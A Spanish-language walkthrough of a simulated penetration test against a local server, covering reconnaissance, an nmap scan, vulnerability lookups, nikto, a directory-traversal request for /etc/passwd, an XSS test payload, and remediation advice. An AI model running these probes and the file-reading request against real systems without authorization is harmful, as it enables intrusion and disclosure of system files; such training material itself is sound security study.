

Análisis de Seguridad sobre Servidor Local

Escenario Simulado

Entorno accesible en la red local:

<http://192.168.1.3:9000/#!/wizard>

Este entorno representa un sistema potencialmente vulnerable, expuesto en la red local para pruebas controladas de seguridad. Todo el análisis y simulación se realizará sobre esta IP.

Paso 1 – Reconocimiento y Mapeo Inicial

1.1 Recolección de información pública

whois

whois 192.168.1.3

Explicación: Muestra datos del propietario del dominio/IP. En redes locales no entrega datos reales, pero en internet revela registrante, organización, contactos y ASN.

nslookup

nslookup 192.168.1.3

Explicación: Realiza una resolución DNS. Si estuviera publicada en internet, devuelve el nombre del dominio asociado a esa IP.

dig (consulta DNS inversa)

dig -x 192.168.1.3

Explicación: Consulta registros DNS en forma inversa. Útil para obtener subdominios o trazas de la infraestructura.

1.2 Google Dorking

inurl:9000 intitle:"Setup" OR intitle:"Wizard"

Explicación: Búsqueda avanzada que intenta encontrar interfaces públicas similares a `/wizard`. Ayuda a identificar exposición indebida de paneles administrativos.

1.3 Identificación de rutas sensibles

- `/#!/wizard` → Instalación o configuración
- `/#!/admin` → Administración (si existe)
- `/#!/login` → Autenticación
- `/robots.txt`, `/config/`, `/backup/` (si se revelan)

Paso 2 – Escaneo de Puertos y Servicios

nmap (modo completo)

```
nmap -sS -sV -T4 -p- 192.168.1.3
```

Explicación: Escaneo SYN con detección de versiones. Ayuda a descubrir servicios activos en todos los puertos.

Resultado esperado (simulado):

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu
80/tcp	open	http	Apache 2.4.29
9000/tcp	open	http-alt	Node.js Express app

Se identifican:

- Servidor web en `9000`
- Posible backend en Node.js
- Apache puede servir otros servicios internos o legacy

Paso 3 – Análisis de Vulnerabilidades Conocidas

3.1 Identificación de tecnologías y versiones

- `Node.js Express` → buscar en ExploitDB y CVE Details
- `Apache 2.4.29` → CVE-2019-0211: ejecución remota por elevación de privilegios

3.2 Búsqueda de CVEs

Ejemplo:

`searchsploit node.js express`

`searchsploit apache 2.4.29`

O vía web:

- <https://www.exploit-db.com/>
- <https://cve.mitre.org/>
- <https://www.cvedetails.com/>

3.3 Selección para demostración (simulada)

Nombre: Directory Traversal (LFI)

Servicio afectado: Express.js

URL vulnerable: `http://192.168.1.3:9000/?page=../../../../etc/passwd`

Paso 4 – Simulación de Explotación Ética

4.1 Nikto

`nikto -h http://192.168.1.3:9000`

Revisa cabeceras, métodos HTTP, versiones inseguras, y rutas sensibles expuestas.

4.2 Simulación de Directory Traversal

```
curl "http://192.168.1.3:9000/?page=../../../../etc/passwd"
```

Intenta acceder a archivos fuera del directorio permitido si no hay sanitización de parámetros.

4.3 Enumeración manual (XSS / CSRF si aplica)

- Revisar si hay formularios vulnerables
- Probar payloads como:

```
<script>alert('XSS')</script>
```

- Revisar si existen cambios sin tokens de protección (CSRF)

Paso 5 – Informe Técnico y Recomendaciones

Vulnerabilidad Demostrada

- **Tipo:** LFI (Local File Inclusion)
- **Impacto:** Medio – acceso a archivos internos del servidor

Recomendaciones

- Validar parámetros con listas blancas (whitelisting)
- No interpolar rutas desde el usuario
- Uso de frameworks seguros que impidan salidas de path
- Actualizar dependencias del backend (Express, Apache)